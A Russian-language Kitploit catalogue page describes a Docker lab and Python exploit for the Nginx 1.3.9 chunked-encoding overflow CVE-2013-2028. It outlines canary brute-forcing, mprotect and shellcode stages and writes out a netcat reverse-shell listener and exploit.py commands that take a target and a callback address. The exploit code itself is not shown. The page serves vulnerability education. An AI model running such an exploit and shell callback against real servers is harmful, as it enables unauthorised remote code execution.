Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2013-2028-Exploit — Лаборатория на базе Docker и эксплойт на Python для CVE-2013-2028 — целочисленного переполнения в парсере chunked-запросов Nginx 1.3.9, охватывающие восстановление canary, mprotect и выполнение shellcode. | Kitploit
Инструменты/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
Анализ уязвимостейЭксплуатацияШелл-кодВиртуализация для безопасностиТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

Лаборатория на базе Docker и эксплойт на Python для CVE-2013-2028 — целочисленного переполнения в парсере chunked-запросов Nginx 1.3.9, охватывающие восстановление canary, mprotect и выполнение shellcode.

Репозиторий
7 ч 56 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт для CVE-2013-2028

Сведения об уязвимости

Уязвимое программное обеспечение: Nginx 1.3.9

Уязвимая функция: ngx_http_parse_chunked

CVE-2013-2028 — это уязвимость целочисленного переполнения в парсере кодирования передачи с разбивкой на фрагменты (chunked transfer encoding) HTTP в Nginx. В условиях, рассматриваемых в данной лабораторной среде, уязвимость может привести к повреждению памяти и может быть использована для влияния на поток управления.

Данный репозиторий предоставляет изолированную среду на основе Docker для изучения уязвимости и воспроизведения процесса эксплуатации.

Сведения об эксплуатации

Полный эксплойт состоит из четырёх основных этапов:

  1. Восстановление стекового канарейки (stack canary)

    Восстановление стекового канарейки путём побайтового перебора.

  2. Манипуляция защитой памяти

    Вычисление необходимой информации об адресах и построение требуемой последовательности потока управления для вызова mprotect на контролируемой области памяти.

  3. Размещение шелл-кода

    Копирование полезной нагрузки в контролируемую область памяти.

  4. Передача потока управления

    Передача выполнения в контролируемую область памяти.

Полный эксплойт демонстрирует переход от срабатывания уязвимого парсера через повреждение памяти и манипуляцию потоком управления к контролируемому выполнению кода.

Требования

  • Docker
  • Docker Compose
  • Python 3
  • Зависимости Python, необходимые для exploit.py
  • netcat для слушателя, используемого в полной лабораторной работе

Как воспроизвести

1. Запуск слушателя

На хост-системе запустите слушатель на настроенном порту:

root@kitploit:~
nc -lvp 4345

Используйте тот же порт с аргументом --listenerport (-lp) при запуске эксплойта.

2. Запуск контейнера с уязвимым Nginx

Соберите и запустите среду Docker:

root@kitploit:~
sudo docker-compose up --build

Уязвимая цель запускает Nginx 1.3.9 внутри контейнера.

Проверить версию Nginx можно с помощью:

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. Запуск полного эксплойта

Выполните:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

Эксплойт выполняет этапы восстановления канарейки и построения полезной нагрузки перед отправкой финальной полезной нагрузки на уязвимую цель.

Если ранее восстановленная канарейка доступна, её можно передать с помощью:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. Промежуточное задание

Репозиторий также предоставляет промежуточное задание для оценки прогресса в процессе исследования уязвимости.

Выполните:

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

Промежуточное задание выполняет свои проверки непосредственно на работающей цели Docker. Оно не полагается на вручную созданные файлы доказательств или вручную предоставленные JSON-утверждения.

Задание проверяет две области:

Идентификация уязвимости

Задание:

  • Подтверждает, что целевой контейнер запущен.
  • Определяет установленную версию Nginx.
  • Определяет, соответствует ли обнаруженная версия уязвимому выпуску Nginx, используемому в лабораторной работе.

Проверка конфигурации

Задание:

  • Подтверждает, что контейнер Docker запущен.
  • Подтверждает, что Nginx запущен.
  • Проверяет конфигурацию Nginx с помощью nginx -t.

Проверка конфигурации устанавливает, что конфигурация Nginx синтаксически корректна. Сама по себе она не должна интерпретироваться как доказательство того, что CVE-2013-2028 была устранена.

Пример вывода:

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

Промежуточное задание сохраняет результаты этих проверок во время выполнения в:

root@kitploit:~
grader_state.json

Этот файл используется только для сохранения состояния, созданного проверками. Он не является источником определения уязвимости.

Цель Docker

Лабораторная среда намеренно использует Nginx 1.3.9, старый выпуск Nginx, подверженный CVE-2013-2028.

Среда Docker предоставляет изолированную цель для исследования уязвимостей и упражнений по эксплуатации. Доступ к уязвимому сервису должен осуществляться только через интерфейсы, предоставляемые конфигурацией лабораторной работы.

Отказ от ответственности

Данный репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности в изолированной лабораторной среде.

Не запускайте эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент